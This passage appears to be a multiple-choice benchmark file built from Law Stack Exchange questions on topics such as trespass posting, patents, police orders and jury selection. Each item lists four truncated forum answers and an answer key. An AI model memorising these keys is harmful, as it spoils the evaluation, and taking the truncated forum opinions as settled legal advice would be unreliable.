"common-law", "legal-history", "trespass"], "choices": {"A": "Yes, their waiver has no legal basis and is invalid under the GDPR. They should have hired a better lawyer. GDPR rights cannot be waived ( mrllp.com ). The last bit should have been: Therefore, in consideration of my participation in any project, I understand that retaining my name and email address, as described above, does not require my consent and that the right of erasure, as spelled out in the GDRP Article 17 (1) b does not apply. The legal basis for our lawful processing of this personal data is Article 6 (1) f (\"processing is necessary for the...", "B": "\"Posted\" is a Term of Art \" Posted \" is a term of art in trespass law, specifically meaning that signs forbidding entry have been placed at the borders of a parcel. The page \"Properly posted definition\" from Law Insider reads: Properly posted means that signs prohibiting trespass—or bright yellow, bright orange or fluorescent paint—are clearly displayed at all corners, on fishing streams crossing property lines, and on roads, gates and rights-of-way entering the land. Or, they are displayed in a manner that is visible to a person in the area. The entry \"Posting\" in the \"Legal\" section of The...", "C": "Yes, that’s allowed. Under the Stack Exchange terms of service , content you upload is licensed to Stack Exchange Inc. on a non-exclusive basis under CC-BY-SA 4.0. The terms of service do not give Stack Exchange the copyright to your contributions, and a non-exclusive license means you are not promising Stack Exchange that “only Stack Exchange will be allowed to use this content.” That means you can continue to do whatever you want with your own content and do not need to mention Stack Exchange at all. The only restriction is that you can’t stop Stack Exchange from continuing to...", "D": "The Plan For A Clearly Guilty Client Without Bargaining Power This question underestimates how much of a criminal defense lawyer's work involves sentencing rather than a determination of guilt or innocence. Suppose as the OP does that the prosecution can easily prove beyond a reasonable doubt that your client is guilty, you client has no plausible defenses, and the prosecutor won't budge on a plea. As a criminal defense lawyer, you may well advise your client that there is no percentage in fighting guilt on the charges, and have your client plea guilty. This prevents the prosecutor from spelling out..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/83103/why-do-many-no-trespassing-signs-say-posted"} {"id": "law_29588", "domain": "law", "question_title": "If I don't want to patent something, what can I do to ensure the patent office doesn't unintentionally grant the patent to someone else?", "question_body": "Say that I have created a hypothetical new invention. I would like for it to be used by as many people as possible without restrictions, so I deliberately choose not to pursue a patent on it. As described in the answers to What if I don't patent my invention? , someone else can patent my invention unless the US Patent Office is aware that there is prior art, established by me producing and selling my invention. The trouble is, I can't necessarily guarantee that they will become aware of my prior art if I'm not particularly well-known. What can be done to ensure that the patent office knows about my prior work (which I deliberately choose not to patent) and therefore doesn't unintentionally grant a patent to someone else?", "question_score": 102, "question_tags": ["united-states", "patents", "prior-art"], "choices": {"A": "There isn't any rule which would prioritize the President, as far as I can tell. Generally, organ allocation is required to be based on medical criteria, not on factors such as the occupation or societal role of the patient. 42 USC 273 specifies that organ procurement shall be administered by \"qualified organ procurement organizations\" and sets up ground rules for their operation, one of which is: have a system to allocate donated organs equitably among transplant patients according to established medical criteria. Further regulations implementing this law are to be found at 42 CFR 121 . 121.8(a)(1) specifies that allocation...", "B": "There is a history of \"giving away patents\", which allows the original grantor to foster innovation instead of stifle it. Here are some examples: Sealand Industries - ISO Shipping Container Patented the standard shipping container, then gave away the patent royalty free, allowing a revolution in ocean going shipping. Annually it is estimated that $440 billion are shipped through these containers. Tesla - 200+ patents Elon Musk announced that the company \"will not initiate patent lawsuits against anyone who, in good faith, wants to use our technology.\" . Toyota - Hydrogen Fuel Cell Patents Released 5,680 patents related to hydrogen...", "C": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "D": "Virginia employer terminated employee and wants signing bonus returned Can the employer legally keep his last check and send the employee a bill for the remainder ? No, unless (1) the employee resigned and (2) his resignation does not amount to constructive termination . The employer may withhold the remaining $7,000 only if the employee did not meet the condition of \" 30 days of employment with xxxxx \". Absent any language to the contrary, the requirement of \" 1-year commitment \" is to be construed as the consideration expected from the employee (namely, \" not to quit \") in..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/29588/if-i-dont-want-to-patent-something-what-can-i-do-to-ensure-the-patent-office-d"} {"id": "law_16790", "domain": "law", "question_title": "On what basis might Trump's executive order on immigration be illegal?", "question_body": "On 27 January 2017, US President Donald Trump has issued an executive order entitled ' Protecting the Nation from Foreign Terrorist Entry into the United States '. On 30 January 2017, the acting Attorney General at the time refused to defend it in court because it was unconstitutional or otherwise illegal: [ news article ]. On what basis(es) might this executive order be illegal?", "question_score": 90, "question_tags": ["united-states", "constitutional-law", "us-constitution", "immigration"], "choices": {"A": "No Parliament is sovereign : Parliamentary sovereignty is a principle of the UK constitution. It makes Parliament the supreme legal authority in the UK, which can create or end any law. Generally, the courts cannot overrule its legislation and no Parliament can pass laws that future Parliaments cannot change . Parliamentary sovereignty is the most important part of the UK constitution.", "B": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "C": "A few possible reasons it could be illegal (on an issue spotting basis, not a careful analysis of each possible reason): The EO is intended to discriminate on the basis of religion and in fact does so in violation of the 1st Amendment to the United States Constitution. The EO is intended to unlawfully discriminate based upon race or ethnicity in violation of U.S. statutes or the 14th Amendment. The EO was adopted without observing the notice and hearing requirements of the Administrative Procedure Act. The EO took effect prematurely because it was not duly published in the Federal Register...", "D": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/16790/on-what-basis-might-trumps-executive-order-on-immigration-be-illegal"} {"id": "law_360", "domain": "law", "question_title": "How can you tell if you have to follow a police officer's instructions?", "question_body": "If a police officer gives me an order, how can I tell whether or not I'm legally obligated to follow that order? If I ask the officer, is he/she required by law to answer truthfully? If the police get to order citizens to do whatever they want, under whatever circumstances that they want, then go ahead and post that as an answer.", "question_score": 88, "question_tags": ["united-states", "police"], "choices": {"A": "It is legal, at least in the US, for a store (or other entity) to refuse to sell any item to any individual for any non-prohibited reason (prohibited reasons are typically things like race or religion). More over, in various US jurisdictions, it is prohibited to \"furnish\" alcohol to a \"minor\" (for example, under California's ABC law), which can be interpreted as prohibiting to an adult if they reasonably suspect that adult will pass the alcohol onto the \"minor\". This is to prevent \"straw\" sales. Additionally, larger chains generally prefer to have harmonized policies across branches, and where practical, across...", "B": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant.", "C": "at what point can you just leave? Is it always technically illegal in the UK to leave without paying the bill? Probably depends on what you mean with just leaving. If just leaving translates I haven't paid and I won't pay (because of the hassle with the card) then that's probably Making Off Without Payment, section 3 Theft Act 1978 (Thanks @bdsl). Could the restaurant just force you to wait until close of business if necessary? What if they still hadn't fixed the payment system by then? I don't think a restaurant can physically detain you. Not even the 45...", "D": "You don't know. You can't know. And you can't force the officer to tell you. Detention Status As a practical matter, you have no way of knowing if you are compelled to follow an officer's order because you are being detained unless the officer volunteers that information (your detention status) which they are not compelled to disclose and have every incentive not to disclose. Consider the situation when the officer does not have reasonable suspicion do detain you. If the officer instantly informs you that you are \"free to go\" then you are likely to leave and end the encounter..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/360/how-can-you-tell-if-you-have-to-follow-a-police-officers-instructions"} {"id": "law_48441", "domain": "law", "question_title": "How would the actions of Hänsel and Gretel in the Grimm tale be interpreted in modern law?", "question_body": "This came up as a layman’s law question. I thought of this when reading the classic Grimm tale Hänsel and Gretel to my children. The situation is as follows: The witch imprisons Hänsel with the stated intention to eat (and thus kill) him. Gretel is asked to light the fire in the oven with the stated intention by the witch to use the fire to cook Hänsel. Gretel pushes the witch into the burning oven and closes the door, knowing the witch will die in there. The witch is bigger and stronger than Gretel, so Gretel can’t really hope for a better chance to physically overwhelm her. Question: How would this be treated according to modern law? Would this be a straight-up murder or can Gretel claim some sort of self-defense and go free? If the answer depends on jurisdiction just make some reasonable choice.", "question_score": 88, "question_tags": ["criminal-law", "law-in-fiction"], "choices": {"A": "Doing nothing is legally safer than doing something, but you're not without hope if you pull the lever. Although you'll likely have committed murder or at least manslaughter, case law is littered with lenience in exigent circumstances, even where convictions have been affirmed. Because this is a philosophical problem, there are plenty of opinions from that perspective, but not so many from a legal standpoint. Let's assume that you're an innocent bystander, (not an employee of the railway company or the train company, etc) and have no duty to act. If you do nothing, then it is unlikely that you...", "B": "Assuming U.S. Jurisdiction: In the case of The People vs. Hansel and Gretel Holzfaller: Ms. Gretel Holzfaller is charged with the following: 1 Count of Murder in the First Degree (Murder of Ms. Witch Hazel) 1 Count of Grand Larceny (Theft of precious metals and jewels from Ms. Hazel) 1 Count Petty Theft (Theft of Candy) 1 Count of Vandalism (Bite marks left in Gingerbread Masonry) 1 Count Trespassing Mr. Hansel Holzfaller is charged with the following: 1 Count of Accessory to Murder 1 Count of Grand Larceny 1 Count Petty Theft 1 Count of Vandalism 1 Count Trespassing Ms....", "C": "A few possible reasons it could be illegal (on an issue spotting basis, not a careful analysis of each possible reason): The EO is intended to discriminate on the basis of religion and in fact does so in violation of the 1st Amendment to the United States Constitution. The EO is intended to unlawfully discriminate based upon race or ethnicity in violation of U.S. statutes or the 14th Amendment. The EO was adopted without observing the notice and hearing requirements of the Administrative Procedure Act. The EO took effect prematurely because it was not duly published in the Federal Register...", "D": "Most leases have a provision allowing a landlord to make entry without notice in an emergency, but the better course of action, as noted in a comment by @BlueDogRanch, is to call the police and ask them to make a \"welfare check.\" You would ordinarily be permitted to cooperate with police by unlocking doors in furtherance of their welfare check. The police are trained to do this properly in a way that properly balances the need to aid someone who is sick or ill, the need to preserve evidence if there was a death or crime that needs to be..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/48441/how-would-the-actions-of-h%c3%a4nsel-and-gretel-in-the-grimm-tale-be-interpreted-in-m"} {"id": "law_63850", "domain": "law", "question_title": "Why is stealing from an employer a criminal act when stealing from an employee is a civil act?", "question_body": "Here is the full question with all the context and details: In the majority of cases in the U.S. about theft at a workplace, why is the matter usually tried in a criminal court when the employer is stolen from, yet is tried in a civil court when the employee is stolen from? For example, if a bank owner refuses to send the last paycheck to someone who has just quit or been fired, it has to be fought in civil court. If a bank employee sneaks extra money from the branch, it has to be fought in criminal court. The following comments or something similar may be made, so I will address them before they are made: The reality for both examples above is that most of the time, it is not fought in court at all, and the injustice is just allowed to pass. I'm talking about which court it would be brought to, only considering all the times that the matter is actually brought to court, so this is an irrelevant point. The answer is as plain as day. It's because \"bill 9, section 9, article 6, subarticle 7, clause 45\" says so, you can read the legal document at this reference. I know it's because the laws say so, I'm asking why the laws say so. What is the legal history behind this imbalance, and why have things become the way they are today?", "question_score": 78, "question_tags": ["criminal-law", "employment", "civil-law", "theft"], "choices": {"A": "There is a history of \"giving away patents\", which allows the original grantor to foster innovation instead of stifle it. Here are some examples: Sealand Industries - ISO Shipping Container Patented the standard shipping container, then gave away the patent royalty free, allowing a revolution in ocean going shipping. Annually it is estimated that $440 billion are shipped through these containers. Tesla - 200+ patents Elon Musk announced that the company \"will not initiate patent lawsuits against anyone who, in good faith, wants to use our technology.\" . Toyota - Hydrogen Fuel Cell Patents Released 5,680 patents related to hydrogen...", "B": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution...", "C": "In the case of United States vs Wong Kim Ark 169 U.S. 649 (1898) (a 6-2 decision), the Supreme Court wrote: [T]he real object of the Fourteenth Amendment of the Constitution, in qualifying the words, \"All persons born in the United States\" by the addition \"and subject to the jurisdiction thereof,\" would appear to have been to exclude, by the fewest and fittest words (besides children of members of the Indian tribes, standing in a peculiar relation to the National Government, unknown to the common law), the two classes of cases -- children born of alien enemies in hostile occupation...", "D": "What do you mean by \"stealing\"; this matters, because \"stealing\" often doesn't have a formal/legal definition (and when it does, it falls under your #2 point above, where the employer's action doesn't meet the definition of the forbidden act) and can describe conduct by both parties that could fall under both criminal and non-criminal remedies (i.e. civil and/or administrative action). Some examples: Employer criminal stealing : Taking an employee's property from their possession (e.g. taking cash from their wallet). Employer non-criminal stealing : Failing to pay an employee properly* (either not paying, or not paying completely, or not paying on..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/63850/why-is-stealing-from-an-employer-a-criminal-act-when-stealing-from-an-employee-i"} {"id": "law_45484", "domain": "law", "question_title": "At what point can you walk out of a restaurant if they make you wait to pay the bill?", "question_body": "The other day, I ate at a restaurant; the food was fine, and I got to paying the bill. Their payment system went down. They couldn't accept cards; only cash, and I didn't have the cash on me for the bill. In the end, their payments system was down for about 45 minutes, with several diners being forced to wait around. The staff didn't at any time offer a reassurance that if things weren't fixed in a certain period of time, we could just leave. But it got me thinking to the legality of things - at what point can you just leave? Is it always technically illegal in the UK to leave without paying the bill? Could the restaurant just force you to wait until close of business if necessary? What if they still hadn't fixed the payment system by then?", "question_score": 76, "question_tags": ["united-kingdom", "commerce", "payment"], "choices": {"A": "at what point can you just leave? Is it always technically illegal in the UK to leave without paying the bill? Probably depends on what you mean with just leaving. If just leaving translates I haven't paid and I won't pay (because of the hassle with the card) then that's probably Making Off Without Payment, section 3 Theft Act 1978 (Thanks @bdsl). Could the restaurant just force you to wait until close of business if necessary? What if they still hadn't fixed the payment system by then? I don't think a restaurant can physically detain you. Not even the 45...", "B": "Technically anyone can sit on a jury. Lawyers are not automatically excluded from juries anymore, as being called for jury duty is a right and a duty that the law abhors automatically excluding people from. That is the official line on this. However, in reality, lawyers will always be stricken from serving by one of the lawyers trying the case. Each lawyer has a certain number of preemptory strikes (the ability to get rid of a juror for any reason, aside from those protected by law, such as race, religion, etc). They also have unlimited \"for cause strikes,\" which are...", "C": "There isn't any indication in that news story that the disabled son was anywhere nearby. I agree the situation you describe sounds like a legitimate use of the placard, but it seems in this situation, the placard was being used in a manner totally unrelated to the transport of a disabled person. My guess is that the cops cited her because the son wasn't in the car, and was not inside the establishment at which she parked. California code has this to say: A person to whom a disabled person placard has been issued may permit another person to use...", "D": "In the UK Armed Forces, conscientious objection is grounds for a refusal at the admission stage and has been since the end of conscription in 1963. Where a person develops an objection to military service during their term of service, they have the option to appeal for a discharge. Interestingly there's no primary legislation to manage this process but there are established military procedures to take care of this when it happens. Mostly the process seems to be managed informally , with the objector simply being shuffled into a non-combatant role within their regiment and just left there for the..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/45484/at-what-point-can-you-walk-out-of-a-restaurant-if-they-make-you-wait-to-pay-the"} {"id": "law_53481", "domain": "law", "question_title": "Why is murder considered a more serious crime than attempted murder?", "question_body": "By its sentencing guidelines (the world over?), murder is considered a more serious crime than attempted murder. If intent to kill has indeed been proven, does the latter crime reward incompetence with leniency? Shouldn’t the incarceration of such a criminal be intended to either rehabilitate them, or to protect the public from them? So if the intent for an attempted and successful crime is the same, wouldn’t it take the same effort to rehabilitate them, or require the same precautions to contain them?", "question_score": 73, "question_tags": ["criminal-law", "murder", "sentencing", "comparative-law", "theory-of-law"], "choices": {"A": "Your question is the subject of longstanding and ongoing debate that has generated countless articles and books and dissertations, so you're probably not going to get a fully satisfactory answer here. But here's the short version: Different systems operate on different assumptions. Your question suggests you are not a retributivist, i.e., someone who views sentencing as a means for taking retribution for the criminal's offenses. Some systems (most, I imagine) are built around that idea, but some view criminal sentencing primarily as a means of preventing recidivism, or as a means for achieving rehabilitation, the interests you indicated you see...", "B": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "C": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this...", "D": "Why it is considered as terrorism to murder a CEO? It's not, as such. That is, CEOs do not have special status under New York or Federal law that would inherently make murdering them terroristic. Brian Thompson having been a CEO is not directly relevant to Mangione being charged with terrorism. I doubt that many people are intimidated or frightened by the murderer of the CEO, let alone an intention to influence policy or conduct of the government. I think your doubt is misplaced, but it is in any case irrelevant whether Mangione's alleged actions were effective in intimidating or..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/53481/why-is-murder-considered-a-more-serious-crime-than-attempted-murder"} {"id": "law_4559", "domain": "law", "question_title": "Why are lawyers typically excluded from juries?", "question_body": "At least in the United States practicing lawyers are called to serve on juries. But my understanding is at least one side will always remove them before trial. Why would it always be the case that at least one side would not want someone with legal training on a jury?", "question_score": 72, "question_tags": ["united-states", "jury", "lawyer"], "choices": {"A": "Technically anyone can sit on a jury. Lawyers are not automatically excluded from juries anymore, as being called for jury duty is a right and a duty that the law abhors automatically excluding people from. That is the official line on this. However, in reality, lawyers will always be stricken from serving by one of the lawyers trying the case. Each lawyer has a certain number of preemptory strikes (the ability to get rid of a juror for any reason, aside from those protected by law, such as race, religion, etc). They also have unlimited \"for cause strikes,\" which are...", "B": "Your question is the subject of longstanding and ongoing debate that has generated countless articles and books and dissertations, so you're probably not going to get a fully satisfactory answer here. But here's the short version: Different systems operate on different assumptions. Your question suggests you are not a retributivist, i.e., someone who views sentencing as a means for taking retribution for the criminal's offenses. Some systems (most, I imagine) are built around that idea, but some view criminal sentencing primarily as a means of preventing recidivism, or as a means for achieving rehabilitation, the interests you indicated you see...", "C": "Yes, their waiver has no legal basis and is invalid under the GDPR. They should have hired a better lawyer. GDPR rights cannot be waived ( mrllp.com ). The last bit should have been: Therefore, in consideration of my participation in any project, I understand that retaining my name and email address, as described above, does not require my consent and that the right of erasure, as spelled out in the GDRP Article 17 (1) b does not apply. The legal basis for our lawful processing of this personal data is Article 6 (1) f (\"processing is necessary for the...", "D": "It would indeed be valid and legally enforceable. The Constitution places no limits on what languages bills must be written in. The Constitution specifically allows each house of Congress to make its own rules for how it passes bills, so, even if a house of Congress had a rule requiring its bills to be in English (which they don't, as far as I know,) they could simply change the rules and then pass the bill. From a practical standpoint, though, enforceability would also require courts to be able to discern Congress' intent from the bill. As such, unless we're expanding..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/4559/why-are-lawyers-typically-excluded-from-juries"} {"id": "law_22728", "domain": "law", "question_title": "Can a law protect itself?", "question_body": "Can a law protect itself? For example, could it be written in to a law that, under no circumstances, it should be amended or abolished (a) for a fixed duration or (b) indefinitely? I am most interested in the United Kingdom but would also be interested to know what the general answer is, if there is one.", "question_score": 68, "question_tags": ["united-kingdom"], "choices": {"A": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "B": "In the UK Armed Forces, conscientious objection is grounds for a refusal at the admission stage and has been since the end of conscription in 1963. Where a person develops an objection to military service during their term of service, they have the option to appeal for a discharge. Interestingly there's no primary legislation to manage this process but there are established military procedures to take care of this when it happens. Mostly the process seems to be managed informally , with the objector simply being shuffled into a non-combatant role within their regiment and just left there for the...", "C": "No Parliament is sovereign : Parliamentary sovereignty is a principle of the UK constitution. It makes Parliament the supreme legal authority in the UK, which can create or end any law. Generally, the courts cannot overrule its legislation and no Parliament can pass laws that future Parliaments cannot change . Parliamentary sovereignty is the most important part of the UK constitution.", "D": "australia Deliberately rendering the TV non-operational through software would appear to be malicious damage. Under the Australian Consumer Law, one of the statutory guarantees is that a product must be “durable”. Manufacturer’s can offer explicit warranties in addition but these in no way impact on the statutory guarantees. What durable means depends on the product and the price paid for it. For a low end TV, 3 years might be durable enough although it’s arguable, but for a high end TV it wouldn’t be. For whitegoods, 10 years would be appropriate. A similar period would be appropriate for a car...."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/22728/can-a-law-protect-itself"} {"id": "law_37491", "domain": "law", "question_title": "Is it truly illegal for the US Armed Forces to hire someone whose IQ is less than 83?", "question_body": "In this video , Jordan Peterson says that [...] anybody into the Armed Forces if they have an IQ of less than 83 Is this true? What law is this supposed restriction based on?", "question_score": 67, "question_tags": ["united-states", "is-x-legal", "military"], "choices": {"A": "Short Answer Applicants are required by military regulation to have a percentile score on a standardized test called the ASVAB that is 31 or more, which is roughly comparable to an IQ score on the Stanford-Binet scale of a little bit less than 92, for high school graduates seeking to enter the Army or Navy (other services have more strict requirements and applicants with only a GED or to the national guard must have an ASVAB score in the 50th percentile which is equivalent to an IQ of 100). But, U.S. law allows the Department of Defense to allow people...", "B": "See 18 U.S.C. s. 1621 (a) . Perjury only relates to material matter . In my opinion, your little logical paradox isn't material. You might be scolded by the judge to stay on point. If you keep doing it, you'll be held in contempt of court .", "C": "I believe you have just misunderstood what you paid for. Blizzard's End User License Agreement says: Your use of the Platform is licensed, not sold, to you, and you hereby acknowledge that no title or ownership with respect to the Platform or the Games is being transferred or assigned and this Agreement should not be construed as a sale of any rights. It also says: Blizzard may change, modify, suspend, or discontinue any aspect of the Platform or Accounts at any time, including removing items, or revising the effectiveness of items in an effort to balance a Game. Blizzard may...", "D": "This has been prosecuted criminally, in the scenario of people taking a huge pile of \"free\" newspapers to sell for recycling. See coverage in the Independent from 16 February 2019. Some previous prosecutions against the same or similar groups had been dropped but this one succeeded. While copies of the Evening Standard are given away for free at train stations, the big stack of them is still somebody's property, and the socially expected arrangement is that a member of the public will take just one, rather than the lot. The reason they are being offered is to achieve a wide..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/37491/is-it-truly-illegal-for-the-us-armed-forces-to-hire-someone-whose-iq-is-less-tha"} {"id": "law_3921", "domain": "law", "question_title": "Can you refuse to swear on the Bible?", "question_body": "Everyone has heard the procedure to get sworn in in an American court: Put your hand on a Holy Bible and answer yes to \"Do you swear to tell the truth, the whole truth, and nothing but the truth, so help you God?\" However swearing on a Holy Bible to God has decidedly Christian roots ( regardless of whether it is actually a Christian practice ) in an official setting in a country with a constitution that explicitly gives freedom of religion. As a non-Christian can you refuse to make such a vow?", "question_score": 66, "question_tags": ["united-states", "rules-of-court"], "choices": {"A": "This is the Fed (FCC) saying \"I'm paying for this, so I get to determine who uses it.\" The service costs money. It is not automagic speech to text, but rather there is often (usually?) an actual human typing it in. Carriers front the cost, and then get compensation from the Fed. The Federal govt picks up that cost. They don't want people that don't need it due to hearing loss making use of that service and its associated costs. From the FCC : Title IV of the Americans with Disabilities Act (b) Availability of telecommunications relay services: the Commission...", "B": "In order to accommodate various objections that have arisen in recent generations, in general: You are allowed to \"affirm\" instead of \"swear\" You do not have to say \"so help me God\" You do not have to place your hand on a Bible or any object These variances are often allowed by statute. A witnessed \"solemn affirmation\" has the same legal consequences as the traditional swearing on a Bible: I.e., you would be held to the same statutes and rules that apply to sworn statements.", "C": "I believe you have just misunderstood what you paid for. Blizzard's End User License Agreement says: Your use of the Platform is licensed, not sold, to you, and you hereby acknowledge that no title or ownership with respect to the Platform or the Games is being transferred or assigned and this Agreement should not be construed as a sale of any rights. It also says: Blizzard may change, modify, suspend, or discontinue any aspect of the Platform or Accounts at any time, including removing items, or revising the effectiveness of items in an effort to balance a Game. Blizzard may...", "D": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/3921/can-you-refuse-to-swear-on-the-bible"} {"id": "law_85325", "domain": "law", "question_title": "Can I legally include a line break in my child's name?", "question_body": "Ethics aside, is it legal (or even possible) to include a line break (newline) in my child's name? Preferably at the end of the child's first name, directly after the last letter. So instead of (for example) the name \"John Doe\", the name would always be written out \"John Doe\". And then when the first name only is written out the line break would have to be included, such as \"My child's first name is John and his last name is Doe\". If this is legal, how would I go about making sure the line break is included on the name section of the birth certificate?", "question_score": 66, "question_tags": ["name", "birth-certificate"], "choices": {"A": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "B": "In the US, any legal restrictions on names are implemented at the state level——although broad administrative restrictions exist on the federal level. Some states may restrict use of diacritics (ubiquitous in Vietnamese) or Arabic numerals (but not Roman numerals). At the other extreme, in Washington state, there is no requirement to include a name at all in the case of live birth of known parentage . In the case of delayed report of live birth , and \"An individual requesting the delayed report of live birth of an individual under twelve years of age must establish the facts concerning full...", "C": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant.", "D": "Yes, it's illegal You are missing something terribly important: The package might not be your property [yet]. In any way, it is not in your possession, while it is in the hands of the postal service! The contents of the package started fully owned by the sender and were entrusted to the postal service to deliver it. This entrustment is (contractually) defined as the time it is handed to the postal service, but the postal service does not gain any ownership. They do however have insurance on the parcel (to some degree), as they are liable for the loss of..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/85325/can-i-legally-include-a-line-break-in-my-childs-name"} {"id": "law_28180", "domain": "law", "question_title": "How does SE's arbitration clause hold up under the GDPR?", "question_body": "Today the new Terms of Service of Stack Exchange have been released, sparking a lot of unrest about its arbitration clause; see the comments and answers on the linked meta above, and also this question . Does the GDPR prevent Stack Exchange from using the arbitration clause against EU citizens? In the sense that when there's a massive data leak and a large class-action suit will be filed, can EU citizens do that collectively, as opposed to going through arbitration for each separate user? The below is no longer applicable, since on the 10th of May electronic opt-out was made available . Related to this it states that the opt-out currently is a physical letter send to Stack Exchange (how they'd tie that letter to my SO account is a bit vague for me, as I can type any odd user page on my letter, not only my own), but this comment suggests that under GDPR there should be a digital opt-out for digital services. Does that mean that the entire clause is invalid (or however that goes in law), when there is no digital opt-out currently available?", "question_score": 64, "question_tags": ["european-union", "gdpr", "arbitration"], "choices": {"A": "Yes you can, and you can even include \"editorials or subjective content\". However, if you include factual statements, or words that imply factual statements, the company could claim that they are false, and therefore defamatory. Indeed they might claim that in any case. If you make no false statements of fact, they should not be able to win a defamation suit, but you might need to spend time and money defending yourself if they choose to sue. The detailed rules on defamation vary by jurisdiction, in the US by state. But in no US state can defamation be found against...", "B": "Yes, their waiver has no legal basis and is invalid under the GDPR. They should have hired a better lawyer. GDPR rights cannot be waived ( mrllp.com ). The last bit should have been: Therefore, in consideration of my participation in any project, I understand that retaining my name and email address, as described above, does not require my consent and that the right of erasure, as spelled out in the GDRP Article 17 (1) b does not apply. The legal basis for our lawful processing of this personal data is Article 6 (1) f (\"processing is necessary for the...", "C": "Assuming U.S. Jurisdiction: In the case of The People vs. Hansel and Gretel Holzfaller: Ms. Gretel Holzfaller is charged with the following: 1 Count of Murder in the First Degree (Murder of Ms. Witch Hazel) 1 Count of Grand Larceny (Theft of precious metals and jewels from Ms. Hazel) 1 Count 